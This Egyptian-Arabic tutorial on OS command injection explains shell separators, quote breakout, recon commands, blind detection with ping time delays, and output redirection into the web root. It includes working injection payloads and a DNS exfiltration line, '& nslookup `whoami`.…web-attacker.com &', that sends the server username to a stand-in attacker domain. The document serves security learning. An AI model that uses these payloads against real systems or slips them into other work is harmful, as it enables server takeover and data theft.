انتقل إلى المحتوى

10 OS Command Injection

1. إيه هي ثغرة الـ OS Command Injection؟

في أول فقرة، بيعرفك إن الثغرة دي (واللي أحياناً بتتسمى Shell Injection) بتسمح للمهاجم إنه ينفذ أوامر على نظام تشغيل السيرفر نفسه. خطورة الموضوع إنك لو قدرت تنفذ أوامر على السيرفر، إنت تقريباً سيطرت على التطبيق وبياناته، وممكن تستخدم السيرفر ده كنقطة انطلاق (Pivot) عشان تهاجم أجهزة تانية جوه شبكة الشركة.

2. السيناريو الطبيعي (المفروض يحصل إيه؟)

تخيل إنك في موقع تسوق، وبتدوس على زرار عشان تشوف منتج معين متوفر في المخزن ولا لأ. الموقع بيبعت طلب (URL) للسيرفر بالشكل ده: https://insecure-website.com/stockStatus?productID=381&storeID=29

السيرفر هنا قديم شوية، عشان يجيبلك النتيجة بياخد رقم المنتج (381) ورقم المخزن (29) ويمررهم كـ "مُعطيات" (Arguments) لسكربت شغال على نظام التشغيل اسمه stockreport.pl. فالأمر اللي بيتنفذ جوه السيرفر في الخلفية بيكون كده: stockreport.pl 381 29 السكربت بيشتغل، يدور في الداتا، ويرجعلك النتيجة (المنتج متوفر ولا لأ).

3. الضربة الخبيثة (الـ Injection)

التطبيق هنا مصاب بالثغرة لأنه بياخد المدخلات بتاعتك ويمررها للسكربت من غير ما ينضفها أو يفلترها. المخترق بدل ما يكتب رقم المنتج 381، قام كاتب الكود ده: & echo aiwefwlguh &

السيرفر الغلبان هياخد الكود ده زي ما هو، ويحطه مكان الـ productID. فبدل ما الأمر يكون طبيعي، الأمر اللي هيتنفذ على السيرفر هيبقى شكله كده: stockreport.pl & echo aiwefwlguh & 29

4. تفكيك النتيجة (إيه اللي حصل على السيرفر؟)

علامة & في أنظمة التشغيل معناها (نفذ الأمر ده، و نفذ الأمر اللي بعده). فبسبب العلامتين دول، السيرفر شاف إن المطلوب منه ينفذ 3 أوامر منفصلة ورا بعض مش أمر واحد:

  • الأمر الأول: stockreport.pl (السكربت ده اشتغل بس من غير الأرقام بتاعته، عشان كده رجع رسالة خطأ: Error - productID was not provided).

  • الأمر التاني: echo aiwefwlguh (أمر echo وظيفته إنه يطبع الكلمة اللي بتيجي بعده. المخترق بيستخدم كلمة عشوائية زي aiwefwlguh عشان لو الكلمة دي ظهرتله على الشاشة، يتأكد مليون في المية إن الثغرة موجودة وإن أوامره بتتنفذ. وفعلاً الكلمة اتطبعت).

  • الأمر التالت: 29 (السيرفر حاول يشغل رقم 29 كأنه برنامج أو أمر، وطبعاً مفيش أمر اسمه 29، فرجع رسالة خطأ: 29: command not found).

5. ليه حطينا العلامة & في الآخر؟

السطر الأخير في النص بيشرح تكتيك مهم جداً. المخترق حط & في آخر الكود بتاعه عشان يعزل الأمر اللي هو عايزه (echo) عن أي حاجة تانية التطبيق ممكن يضيفها في الآخر (زي رقم المخزن 29). لو ماكانش حط الـ & التانية، كان الأمر هيبقى echo aiwefwlguh 29، وده ممكن يبوظ شكل النتيجة أو يخلي الأمر يفشل. الـ & الأخيرة دي بتضمن إن أمر الاختراق يشتغل لوحده بأمان تام.


(Useful Commands)

أول ما بتمسك ثغرة Command Injection، مش بتدخل تدمر السيرفر، الصح إنك تعمل "استطلاع" (Reconnaissance) عشان تعرف إنت واقف فين بالظبط وصلاحياتك إيه. الجدول ده بيقارن بين الأوامر في Linux و Windows:

الهدف من الأمر في نظام Linux في نظام Windows أهميته للمخترق
اسم المستخدم الحالي whoami whoami بيعرفك صلاحياتك (هل إنت Root/Administrator ولا مستخدم غلبان؟)
معلومات نظام التشغيل uname -a ver بيعرفك إصدار النظام بالظبط عشان تدور على Kernel Exploit ترفع بيه صلاحياتك.
إعدادات الشبكة ifconfig ipconfig /all بيعرفك كروت الشبكة والـ IPs بتاعة السيرفر.
الاتصالات الحالية netstat -an netstat -an بيوريك السيرفر متصل بأجهزة إيه تانية في الشبكة الداخلية.
العمليات الشغالة حالياً ps -ef tasklist بيوريك إيه البرامج والخدمات اللي شغالة في الخلفية وممكن تستغلها.
### Ways of injecting OS commands:

1. الفواصل المشتركة (تشتغل على الكل)

الحروف دي بتشتغل في الـ Terminal بتاعة Linux والـ CMD بتاعة Windows بنفس الطريقة:

  • & (Sequential): بيشغل الأوامر ورا بعض بغض النظر الأول نجح ولا فشل.

  • && (Conditional AND): بيشغل الأمر التاني بشرط إن الأمر الأول ينجح تماماً ومن غير أخطاء.

  • | (Piping): بياخد مخرجات (Output) الأمر الأول ويبعتها كـ مدخلات (Input) للأمر التاني.

  • || (Conditional OR): بيشغل الأمر التاني فقط لو الأمر الأول فشل.

2. فواصل خاصة بـ Unix/Linux فقط

  • ; (Semicolon): بيفصل بين الأوامر تماماً كأنك دوست Enter وكتبت أمر جديد. (Windows مش بيفهم دي كفاصل أوامر).

  • السطر الجديد (Newline \n): في طلبات الـ HTTP، المخترق ممكن يبعت الرمز 0x0a (وهو القيمة الـ Hexadecimal لزرار الـ Enter)، السيرفر هيفهم إن الأمر الأول خلص ويبدأ ينفذ اللي بعده في سطر جديد.

3. التنفيذ المضمن (Inline Execution)

في أنظمة Linux، فيه حركتين صايعين جداً باستخدام الـ Backticks أو علامة$( ): لو السيرفر بينفذ أمر زي:echo "Hello USER_INPUT"والمستخدم كتب:$(whoami)الأمر هيبقى:echo "Hello $(whoami)"السيرفر هنا مش هيطبع كلمة whoami، لأ.. هيروح ينفذ أمرwhoamiالأول جوه كواليس النظام، ويشيله ويحط نتيجته (مثلاًwww-data)، فالأمر النهائي يبقى echo "Hello www-data"`. الحركة دي هي اللي استخدمناها فوق في تهريب البيانات عبر الـ DNS!

4. المطب الأكبر: علامات الاقتباس (Breaking out of Quotes)

الموضوع ده هو اللي بيفرق بين المحترف والمبتدئ، وهو السبب إن فيه payloads كتير بتفشل.

أحياناً المطور بيكون كاتب الكود في الـ Back-end ومحاوط مدخلات المستخدم بعلامات تنصيص عشان يحميها، مثلاً كده:

Bash

ping "USER_INPUT"

لو المهاجم كتب مباشرة: & whoami

الأمر جوه السيرفر هيبقى:

Bash

ping "& whoami"

هنا نظام التشغيل هيتعامل مع & whoami كأنها كلمة واحدة أو نص عادي (String) تبع أمر الـ ping، ومفصلات الـ Shell مش هتشتغل، والأمر هيفشل!

الحل إيه؟

المخترق لازم "يكسر" الأقواس دي الأول (Terminate the context). فبيكتب في المدخلات:

Plaintext

" & whoami & "

لما السيرفر ياخد المدخل ده ويحطه مكانه، الأمر هيبقى:

Bash

ping "" & whoami & ""

💡 إيه اللي حصل هنا؟

علامة الاقتباس الأولى قفلت القوس المفتوح بتاع السيرفر، فبقى أمر الـ ping فاضي وجاهز. بعدين حطينا الـ & فاشتغلت كفاصل أوامر عادي جداً ونفذت whoami بنجاح!


Blind OS command injection vulnerabilities :

في المثال الأولاني اللي شرحناه، السيرفر كان "طيب" وأي أمر بنكتبه كان بيعرض النتيجة بتاعته فوراً في وشنا على الموقع (In-band).

لكن في الحقيقة، 90% من الثغرات بتكون Blind (عمياء). يعني السيرفر بينفذ الأمر الخبيث في الخلفية فعلاً، بس النتيجة مش بتظهرلك على الشاشة!

مثال الفورم بتاع الـ Feedback (الشكاوى): الموقع بياخد شكوتك وإيميلك، وجوه الـ Back-end بيشغل أمر يبعت إيميل للمدير: mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

لو حقنت أمر echo هنا، السيرفر هينفذه، بس الموقع في النهاية هيعرضلك رسالة غبية زي: "شكراً لك، تم إرسال رسالتك".. طب إنت كمخترق إزاي هتعرف إن أمرك اتنفذ طالما الشاشة مش بتنطق؟

3. الحل السحري: اختبار الوقت (Time Delays)

بما إن السيرفر أعمى ومش بيكلمنا، هنخليه يكلمنا بلغة الوقت! هنستغل أمر الـ ping كأنه ساعة إيقاف (Stopwatch).

المخترق بيحقن الأمر ده: & ping -c 10 127.0.0.1 &

تعال نفصص الأمر ده بيعمل إيه:

  • &: بيفصل الأوامر عن بعضها زي ما اتعلمنا.

  • ping: أمر بيبعت حزم بيانات لجهاز تاني عشان يشوفه صاحي ولا لأ.

  • -c 10 (في Linux): معناها ابعت 10 حزم ورا بعض (كل حزمة بتاخد ثانية تقريباً).

  • 127.0.0.1: ده الـ IP بتاع الجهاز نفسه (Loopback)، يعني السيرفر بيعمل ping على نفسه عشان نضمن إن الشبكة مش هتعطلنا.

المخترق بيراقب إيه هنا؟ المخترق بيبعت الـ Request ويشغل ساعة إيقاف في إيده.

  • لو الموقع رد عليه في أقل من ثانية -> الثغرة مش موجودة والسيرفر طنش الأمر.

  • لو الموقع فضل يلف ويلف (Loading) ورد بعد 10 ثواني بالظبط -> هيفرح جداً، لأن ده معناه إن السيرفر أعمى بس بيبص في الساعة، ونفذ أمر الـ ping اللي أخر الاستجابة 10 ثواني!

💡 ملحوظة ذكية: التكنيك ده هو أول خطوة (Detection) عشان تتأكد إن المكان مصاب، بعد كده بتبدأ تفكر إزاي تخليه يبعتلك البيانات برة السيرفر خالص (Out-of-band) أو تفتح Reverse Shell.

تفتكر لو السيرفر اللي بنجرب عليه ده طلع Windows مش Linux، أمر الـ Ping اللي فوق ده هيشتغل بنفس الشكل، ولا هنضطر نغير الـ Flags (الحروف) بتاعته؟

الاجابة لا في الويندوز بنبدل ال "t-" بال "n-" علشان نحدد عدد الحزم.


Blind OS command injection vulnerabilities with data exfiltration:

طريقة الـ Time Delay (الـ Ping) اللي اتكلمنا عليها قبل كده كانت حلوة بس عشان "نثبت" إن الثغرة موجودة. لكن لو عايز "تسرق" بيانات (زي اسم المستخدم أو ملفات السيرفر)، مش هتقعد تعمل تكتيك الوقت حرف بحرف لأنك هتموت مشلول! هنا بقى بييجي دور الـ DNS.

تعال نفكك السحر اللي في الأمر ده حتة حتة:

تفكيك الأمر الخبيث

الأمر اللي إنت كتبته: & nslookup \whoami.kgji2ohoyw.web-attacker.com &

السيرفر لما بييجي ينفذ السطر ده، بيحصل جواه الآتي بالترتيب:

  1. علامة الـ Backticks (`whoami`): في أنظمة Linux، العلامتين دول معناهم "نفذ الأمر اللي جوانا الأول، وشيلنا وحط النتيجة مكاننا" (Command Substitution). فالسيرفر هينفذ أمر whoami ويلاقي مثلاً إن المستخدم اسمه wwwuser.

  2. دمج النتيجة: السيرفر هيشيل الكلمة بالـ Backticks ويحط النتيجة، فيتحول الأمر بالكامل لـ: nslookup wwwuser.kgji2ohoyw.web-attacker.com

  3. طلب الـ DNS: أمر nslookup وظيفته يروح يسأل عمالقة الإنترنت: "يا جماعة، هو الدومين ده الـ IP بتاعه كام؟".

  4. وصول الرسالة للمخترق: بما إن الدومين web-attacker.com ده بتاع المخترق وهو اللي متحكم في الـ DNS Server بتاعه، فالطلب هيلف في الإنترنت لحد ما يوصل لسيرفر المخترق. المخترق هيبص في السجلات (Logs) عنده هيلاقي طلب جايله من سيرفر الضحية بيقوله: "عايز الـ IP بتاع wwwuser.kgji2ohoyw.web-attacker.com". بمجرد ما يقرأ السطر ده، المخترق عرف إن اليوزر اسمه wwwuser من غير ما السيرفر ينطق بكلمة واحدة على الموقع!

ليه التكنيك ده ناجح وخطير جداً؟

🛡️ ثغرة في الجدار الناري: الشركات المحترمة بتقفل الـ Outbound Traffic (الحركة الخارجة من السيرفر للإنترنت) عشان السيرفر ما يكلمش حد غريب. فلو حاولت تخليه يفتح موقع ويب عادي (HTTP)، الجدار الناري (Firewall) هيقفله.

لكن الـ DNS (Port 53) مستحيل يتقفل! لأن السيرفر دايماً محتاج يترجم أسماء المواقع لأرقام IPs عشان يعمل التحديثات أو يكلم سيرفرات تانية. فالمخترق هنا بيستغل الـ DNS كـ "نفق سري" يهرب فيه البيانات برة الشركة تماماً.

في أدوات مشهورة جداً بتعملك السيرفر المستقبِل ده بضغطة زرار، زي Burp Collaborator أو موقع Interactsh


Exploiting blind OS command injection by redirecting output :

1. إزاي التكنيك ده بيشتغل؟

الفكرة كلها بتعتمد على إن أي موقع على الإنترنت بيكون له "مجلد رئيسي" (Web Root)، وده المكان اللي السيرفر بيسمح لأي حد على الإنترنت إنه يشوف الملفات اللي جواه (زي الصور، ملفات الـ CSS، أو ملفات الـ HTML). في أنظمة Linux، المجلد ده غالباً بيكون في مسار زي /var/www/html/ أو /var/www/static/.

الأمر اللي إنت كتبته: & whoami > /var/www/static/whoami.txt &

  • علامة > (Redirection): دي المايسترو هنا. العلامة دي بتقول لنظام التشغيل: "بدل ما تطبع نتيجة الأمر على الشاشة، خد النتيجة دي واكتبها جوه الملف اللي هقولك عليه".

  • فالسيرفر هينفذ أمر whoami (اللي بيجيب اسم المستخدم)، وياخد النتيجة يرميها جوه ملف جديد اسمه whoami.txt في المجلد المسموح للناس تشوفه.

بعد كده، المخترق ببساطة هيفتح المتصفح ويكتب: [https://vulnerable-website.com/whoami.txt](https://vulnerable-website.com/whoami.txt) وهتطلعله النتيجة على الشاشة كأنه بيقرا مقال!

2. مميزات التكنيك ده

  • ممتاز للبيانات الضخمة: لو المخترق عايز يقرا ملف فيه سطور كتير (زي ملف الباسوردات /etc/passwd)، الـ DNS مش هيسعفه لأنه بيشيل عدد حروف قليل. لكن هنا هو بيكتب الملف كله ويقراه براحته.

  • سريع ومباشر: مش محتاج أدوات خارجية زي Burp Collaborator أو سيرفرات وسيطة.

3. العقبات في الواقع (The Hacker's Reality)

مع إن التكنيك ده يبان سحري، بس في الحقيقة (Real-world Bug Bounty & Pentesting)، بيقابلك فيه مطبين كبار:

  1. تخمين المسار (Path Guessing): إنت كمخترق مش دايماً بتبقى عارف مسار الـ Web Root بالظبط. هل هو /var/www/html/ ولا /opt/lampp/htdocs/ ولا متخزن في مكان تاني مخصص للشركة؟ لو كتبت المسار غلط، الملف هيتكريت في مكان مش هتعرف توصله من المتصفح.

  2. صلاحيات الكتابة (Write Permissions): السيرفر غالباً بيكون شغال بمستخدم اسمه www-data. في السيرفرات المتأمنة نص نص، المستخدم ده بيكون مسموح له يقرا ملفات الموقع بس، ومش مسموح له يكتب أو يكريت ملفات جديدة في مجلدات الموقع الأساسية. لو الصلاحيات مقفولة، الأمر هيفشل ومش هيكريت الملف.

💡 معلومة إضافية (Pro-Tip): المخترقين أحياناً بيستخدموا علامة >> بدل >. علامة > بتمسح محتوى الملف القديم وتكتب من جديد، لكن >> بتضيف النتيجة في آخر الملف من غير ما تمسح اللي جواه (Append).